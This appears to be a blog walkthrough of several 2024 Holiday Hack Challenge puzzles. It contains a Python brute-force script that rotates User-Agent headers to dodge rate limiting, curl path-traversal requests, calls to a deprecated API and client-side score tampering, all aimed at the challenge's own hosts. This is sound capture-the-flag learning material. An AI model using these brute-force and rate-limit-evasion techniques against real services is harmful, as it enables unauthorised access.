11
12
13
14
15
16
17
18
19
20
async function checkit(serial, uV) {
// ... omissis ...

// Build the URL with the request ID as a query parameter
// Word on the wire is that some resourceful elves managed to brute-force their way in through the v1 API.
// We have since updated the API to v2 and v1 "should" be removed by now.
// const url = new URL(`${window.location.protocol}//${window.location.hostname}:${window.location.port}/api/v1/complete`);
const url = new URL(`${window.location.protocol}//${window.location.hostname}:${window.location.port}/api/v2/complete`);

try {
// Make the request to the server
const response = await fetch(url, {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({ requestID: requestID, serial: serial, voltage: uV })
});
// ... omissis ...
}

The values of serial and uV can be retrieved from a manual successful call:

1
{"requestID":"42da0de9-2884-440c-b6c7-5ed459a991f7","serial":[3,9,2,2,0,3],"voltage":3}

I then tried to override the API endpoint using DevTools:

And calling the checkit function directly from the console did the trick:

Funsies

#sosatisfying

Dad jokes

Looking at the main.js file, I found an interesting function called dad returning dad jokes… Let’s get them!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import requests
import json

url = 'https://hhc24-hardwarehacking.holidayhackchallenge.com/joke'

try:
with open("jokes.txt", "r") as jokes_file:
jokes = jokes_file.read().split("\n")

print ("jokes --> {}".format(jokes))
except:
jokes = []

with open("jokes.txt", "a") as jokes_file:
sameJokeCount = 0
while sameJokeCount < 1000:
r = requests.get(url)
joke = json.loads(r.text)['joke']
if joke in jokes:
print ("GOT [{}] OLD (DAD) JOKES: {}".format(sameJokeCount, joke))
sameJokeCount += 1
else:
jokes_file.write("{}\n".format(joke))
jokes.append(joke)
print ("NEW (DAD) JOKE: {}".format(joke))
sameJokeCount = 0

At your service:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
What do you get if you cross a snowman and a vampire? Frostbite!
What do snowmen eat for breakfast? Frosted Flakes!
What do you get if you eat Christmas decorations? Tinselitis!
How does Rudolph know when Christmas is coming? He refers to his calen-deer.
How do Christmas angels greet each other? They say, 'Halo!'
Why was the Christmas stocking so excited? It was filled with sole!
What do you get when you cross a bell with a skunk? Jingle smells!
Why was the Christmas cookie sad? Because it was feeling crumby.
Why was the math book sad at Christmas? Because it had too many problems.
Why don't you ever see Santa in the hospital? Because he has private elf care!
What do reindeer say before telling you a joke? This one's gonna sleigh you!
Why did the turkey join the band? Because it had the drumsticks!
Why was the Christmas tree so bad at knitting? Because it kept dropping its needles!
What does Santa do when his elves misbehave? He gives them the sack!
Why did Santa go to music school? To improve his wrapping skills!
What do you call Santa when he stops moving? Santa Pause.
What do you call an elf who sings? A wrapper!
How does a snowman get around? By riding an 'icicle.'
How do you know when Santa's around? You can always sense his presents.

cURLing

Difficulty: ❄ ❄ ❄ ❄
Team up with Bow Ninecandle to send web requests from the command line using Curl, learning how to interact directly with web servers and retrieve information like a pro!

Hints

cURL Manual

From: Bow Ninecandle
The official cURL man page has tons of useful information on how to use cURL.

cURL: Don’t squash

From: Bow Ninecandle
Take a look at cURL’s “–path-as-is” option; it controls a default behavior that you may not expect!

Silver trophy

1
2
3
Welcome to Curling Fun!  We will learn some basic curl commands while playing a round of curling.
-----------------------------------------------------------------------------------------------
Are you ready to begin? [y]es: yes
1
2
3
4
5
6
7
1) Unlike the defined standards of a curling sheet, embedded devices often have web servers on non-standard ports.  Use curl to retrieve the web page on host "curlingfun" port 8080.
If you need help, run the 'hint' command.
-----------------------------------------------------------------------------------------------
alabaster@curlingfun:~$ curl http://curlingfun:8080
You have successfully accessed the site on port 8080!

If you need help, please remember to run "hint" for a hint!
1
2
3
4
5
6
7
2) Embedded devices often use self-signed certificates, where your browser will not trust the certificate presented.  Use curl to retrieve the TLS-protected web page at https://curlingfun:9090/
-----------------------------------------------------------------------------------------------
alabaster@curlingfun:~$ curl -k https://curlingfun:9090
You have successfully bypassed the self-signed certificate warning!
Subsequent requests will continue to require "--insecure", or "-k" for short.

If you need help, please remember to run "hint" for a hint!
1
2
3
4
3) Working with APIs and embedded devices often requires making HTTP POST requests. Use curl to send a request to https://curlingfun:9090/ with the parameter "skip" set to the value "alabaster", declaring Alabaster as the team captain.
-----------------------------------------------------------------------------------------------
alabaster@curlingfun:~$ curl -k https://curlingfun:9090 -d skip=alabaster
You have successfully made a POST request!
1
2
3
4
4) Working with APIs and embedded devices often requires maintaining session state by passing a cookie.  Use curl to send a request to https://curlingfun:9090/ with a cookie called "end" with the value "3", indicating we're on the third end of the curling match.
-----------------------------------------------------------------------------------------------
alabaster@curlingfun:~$ curl -k https://curlingfun:9090 -b end=3
You have successfully set a cookie!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
5) Working with APIs and embedded devices sometimes requires working with raw HTTP headers.  Use curl to view the HTTP headers returned by a request to https://curlingfun:9090/
-----------------------------------------------------------------------------------------------
alabaster@curlingfun:~$ curl -k https://curlingfun:9090 -i
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sun, 17 Nov 2024 21:32:00 GMT
Content-Type: text/plain;charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Custom-Header: You have found the custom header!

You have successfully bypassed the self-signed certificate warning!
Subsequent requests will continue to require "--insecure", or "-k" for short.

If you need help, please remember to run "hint" for a hint!
1
2
3
4
6) Working with APIs and embedded devices sometimes requires working with custom HTTP headers.  Use curl to send a request to https://curlingfun:9090/ with an HTTP header called "Stone" and the value "Granite".
-----------------------------------------------------------------------------------------------
alabaster@curlingfun:~$ curl -k https://curlingfun:9090 -H "Stone:Granite"
You have successfully set a custom HTTP header!
1
2
3
4
7) curl will modify your URL unless you tell it not to.  For example, use curl to retrieve the following URL containing special characters: https://curlingfun:9090/../../etc/hacks
-----------------------------------------------------------------------------------------------
alabaster@curlingfun:~$ curl -k https://curlingfun:9090/../../etc/hacks --path-as-is
You have successfully utilized --path-as-is to send a raw path!
1
2
3
Great work! 

Once HHC grants your achievement, you may close this terminal.

Gold trophy

The instructions to get start on the gold trophy are in the file HARD-MODE.txt:

1
2
3
4
5
6
7
alabaster@curlingfun:~$ cat HARD-MODE.txt 
Prefer to skip ahead without guidance? Use curl to craft a request meeting these requirements:

- HTTP POST request to https://curlingfun:9090/
- Parameter "skip" set to "bow"
- Cookie "end" set to "10"
- Header "Hack" set to "12ft"
1
2
alabaster@curlingfun:~$ curl -k https://curlingfun:9090 -d skip=bow -b end=10 -H "Hack:12ft"
Excellent! Now, use curl to access this URL: https://curlingfun:9090/../../etc/button
1
2
alabaster@curlingfun:~$ curl -k https://curlingfun:9090/../../etc/button --path-as-is
Great! Finally, use curl to access the page that this URL redirects to: https://curlingfun:9090/GoodSportsmanship
1
2
alabaster@curlingfun:~$ curl -k https://curlingfun:9090/GoodSportsmanship -L
Excellent work, you have solved hard mode! You may close this terminal once HHC grants your achievement.

Frosty Keypad

Difficulty: ❄ ❄ ❄ ❄
In a swirl of shredded paper, lies the key. Can you unlock the shredder’s code and uncover Santa’s lost secrets?

Hints

Who Are You Calling a Dorf?

From: Morcel Nougat
Hmmmm. I know I have seen Santa and the other elves use this keypad. I wonder what it contains. I bet whatever is in there is a National Treasure!

Just Some Light Reading

From: Morcel Nougat
See if you can find a copy of that book everyone seems to be reading these days. I thought I saw somebody drop one close by…

Shine Some Light on It

From: Morcel Nougat
Well this is puzzling. I wonder if Santa has a seperate code. Bet that would cast some light on the problem. I know this is a stretch…but…what if you had one of those fancy UV lights to look at the fingerprints on the keypad? That might at least limit the possible digits being used…

Gold & Silver trophy

Before finding the UV light on the ground I noticed it was being checked in the JS and I was able to use it executing the function uvLight.setVisible(true) from the console, thus revealing fingerprints on the keys:

I know and noticed that the challenge was about cryptography, suggesting that the note would lead to a combination through the book…that said I’m lazy and the keypad allowed up to 5 numbers, so I bruteforced it :)

I wrote a quick python script and slightly adjusted it after noticing I was getting rate limited with the errore {"error":"Too many requests from this User-Agent. Limited to 1 requests per 1 seconds."}:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import itertools
import requests

url = 'https://hhc24-frostykeypad.holidayhackchallenge.com/submit'

digits = ['2', '6', '7', '8']
combinations = itertools.product(digits, repeat=5)
for combination in combinations:
combination = ''.join(combination)
json = { "answer" : combination }
headers = { 'User-Agent': combination }
r = requests.post(url, headers = headers, json = json)
if (not "error" in r.text):
print ("{} --> {}".format(combination, r.text.rstrip()))

Running it I received two answers:

1
2
3
(env) thedead@maccos act1-frosty-keypad % python3 solveKeypad.py
22786 --> {"output":"success"}
72682 --> {"output":"success"}

With 22786 leading to the Gold trophy and 72682 leading to the Silver one.

One Thousand Little Teeny Tiny Shredded Pieces of Paper

Speaking with Morcel after passing the challenge, he will hand out “One Thousand Little Teeny Tiny Shredded Pieces of Paper”:
A mountain of one thousand little tiny shredded pieces of paper-each scrap whispering a secret, waiting for the right hardware hacker to piece the puzzle back together!

These will be discussed in the “Hardware Hacking 101 Part 1” solution, but I’ll leave here the image:

Elf Minder 9000

Difficulty: ❄ ❄ ❄ ❄
Assist Poinsettia McMittens with playing a game of Elf Minder 9000.

Hints

Elf Minder 9000: RTD (Read the Docs)

From: Poinsettia McMittens
Be sure you read the “Help” section thoroughly! In doing so, you will learn how to use the tools necessary to safely guide your elf and collect all the crates.

Elf Minder 9000: Reusable Paths

From: Poinsettia McMittens
Some levels will require you to click and rotate paths in order for your elf to collect all the crates.

Elf Minder 9000: TODO

From: Poinsettia McMittens
When developing a video game-even a simple one-it’s surprisingly easy to overlook an edge case in the game logic, which can lead to unexpected behavior.

Silver trophy

To get the silver trophy, it was sufficient to complete the first 12 levels.

Sandy Start

Waves and Crates

Tidal Treasures

Dune Dash

Coral Cove

Shell Seekers

Palm Grove Shuffle

Tropical Tangle

Crate Caper

Shoreline Shuffle

Beachy Bounty

Driftwood Dunes

Gold trophy (A Real Pickle)

The gold trophy required a little bit more creativity, and a lot of dead ends on the edit parameter :)
Analyzing the JS code, I noticed the usage of Local Storage to save and load data about the current game. These data are saved as a JSON with two fields: entities representing objects inserted by the user and segments which contains the paths designed by the player.
Entities mapping can be found at the beginning of guide.js:

1
2
3
4
5
6
7
8
9
10
const EntityTypes = {
START: 0,
END: 1,
CRATE: 2,
BLOCKER: 3,
HAZARD: 4,
STEAM: 5,
PORTAL: 6,
SPRING: 7,
};

Observing the segments array, it’s possible to notice that to cross each block 2 segments are needed. For instance, this array represents a path crossing horizontally this block:

1
[[[2,3],[3,3]],[[3,3],[4,3]]]

With this in mind and not a lot of space to add a useful object in “A Real Pickle”, I tried to leverage on the border of the block to place a tunnel modifying directly the Local Storage data and it worked:

1
2
3
4
{
"segments":[[[1,1],[2,1]],[[2,1],[3,1]],[[7,1],[8,1]],[[8,1],[9,1]],[[9,1],[9,2]],[[9,2],[9,3]],[[8,7],[7,7]],[[7,7],[7,6]],[[7,6],[7,5]],[[7,5],[6,5]],[[6,5],[5,5]],[[5,5],[5,4]],[[5,4],[5,3]],[[10,9],[11,9]],[[4,5],[3,5]],[[3,5],[3,6]],[[3,6],[3,7]],[[3,7],[2,7]],[[2,7],[1,7]],[[9,7],[8,7]]],
"entities":[[3,1,7],[1,7,6],[10,9,6],[9,3,7]]
}

Funsies

game.disappointHackers();

Yep, I noticed that function

Elf Connect

Difficulty: ❄ ❄ ❄ ❄
Help Angel Candysalt connect the dots in a game of connections.

Hints

Elf Connect Easy

From: Angel Candysalt
I love brain games! This one is like the New York Times Connections game. Your goal here is to find groups of items that share something in common. Think of each group as having a hidden connection or theme-four items belong together, and there are multiple groups to find! See if you can spot patterns or common threads to make connections. Group all the items correctly to win!

Elf Connect Hard

From: Angel Candysalt
WOW! A high score of 50,000 points! That’s way beyond the limit! With only four rounds and a max of 400 points per round, the top possible score should be 1,600 points. So, how did someone get to 50,000? Something unusual must be happening!

If you’re curious, you might want to check under the hood. Try opening the browser’s developer tools console and looking around-there might even be a variable named ‘score’ that could give you some insights. Sometimes, games hold secrets for those who dig a little deeper. Give it a shot and see what you can discover!

Silver trophy

The JS of the page itself reveals the solutions, so I wrote a quick nodejs script to print them out and easily obtain silver:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
const wordSets = {
1: ["Tinsel", "Sleigh", "Belafonte", "Bag", "Comet", "Garland", "Jingle Bells", "Mittens", "Vixen", "Gifts", "Star", "Crosby", "White Christmas", "Prancer", "Lights", "Blitzen"],
2: ["Nmap", "burp", "Frida", "OWASP Zap", "Metasploit", "netcat", "Cycript", "Nikto", "Cobalt Strike", "wfuzz", "Wireshark", "AppMon", "apktool", "HAVOC", "Nessus", "Empire"],
3: ["AES", "WEP", "Symmetric", "WPA2", "Caesar", "RSA", "Asymmetric", "TKIP", "One-time Pad", "LEAP", "Blowfish", "hash", "hybrid", "Ottendorf", "3DES", "Scytale"],
4: ["IGMP", "TLS", "Ethernet", "SSL", "HTTP", "IPX", "PPP", "IPSec", "FTP", "SSH", "IP", "IEEE 802.11", "ARP", "SMTP", "ICMP", "DNS"]
};

let correctSets = [[0, 5, 10, 14], [1, 3, 7, 9], [2, 6, 11, 12], [4, 8, 13, 15]];

for (const [key, value] of Object.entries(wordSets)) {
console.log (`####################`)
console.log (`wordSet --> ${value}`)
for (var i = 0; i < correctSets.length; i ++) {
correctSet = correctSets[i]
let answer = []
for (var j = 0; j < correctSet.length; j ++) {
answer.push(value[correctSet[j]])
}
console.log (`correctSet #${i} --> ${answer}`)
}
console.log (`####################`)
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
####################
wordSet --> Tinsel,Sleigh,Belafonte,Bag,Comet,Garland,Jingle Bells,Mittens,Vixen,Gifts,Star,Crosby,White Christmas,Prancer,Lights,Blitzen
correctSet #0 --> Tinsel,Garland,Star,Lights
correctSet #1 --> Sleigh,Bag,Mittens,Gifts
correctSet #2 --> Belafonte,Jingle Bells,Crosby,White Christmas
correctSet #3 --> Comet,Vixen,Prancer,Blitzen
####################
####################
wordSet --> Nmap,burp,Frida,OWASP Zap,Metasploit,netcat,Cycript,Nikto,Cobalt Strike,wfuzz,Wireshark,AppMon,apktool,HAVOC,Nessus,Empire
correctSet #0 --> Nmap,netcat,Wireshark,Nessus
correctSet #1 --> burp,OWASP Zap,Nikto,wfuzz
correctSet #2 --> Frida,Cycript,AppMon,apktool
correctSet #3 --> Metasploit,Cobalt Strike,HAVOC,Empire
####################
####################
wordSet --> AES,WEP,Symmetric,WPA2,Caesar,RSA,Asymmetric,TKIP,One-time Pad,LEAP,Blowfish,hash,hybrid,Ottendorf,3DES,Scytale
correctSet #0 --> AES,RSA,Blowfish,3DES
correctSet #1 --> WEP,WPA2,TKIP,LEAP
correctSet #2 --> Symmetric,Asymmetric,hash,hybrid
correctSet #3 --> Caesar,One-time Pad,Ottendorf,Scytale
####################
####################
wordSet --> IGMP,TLS,Ethernet,SSL,HTTP,IPX,PPP,IPSec,FTP,SSH,IP,IEEE 802.11,ARP,SMTP,ICMP,DNS
correctSet #0 --> IGMP,IPX,IP,ICMP
correctSet #1 --> TLS,SSL,IPSec,SSH
correctSet #2 --> Ethernet,PPP,IEEE 802.11,ARP
correctSet #3 --> HTTP,FTP,SMTP,DNS
####################

Gold trophy

Analyzing the JS for score it’s possible to notice it gets incremented by 100 on correct answers:

1
2
// Update score by 100 points
score += 100;

By modifying the score from DevTools and triggering a correct answer, I achieved the gold trophy: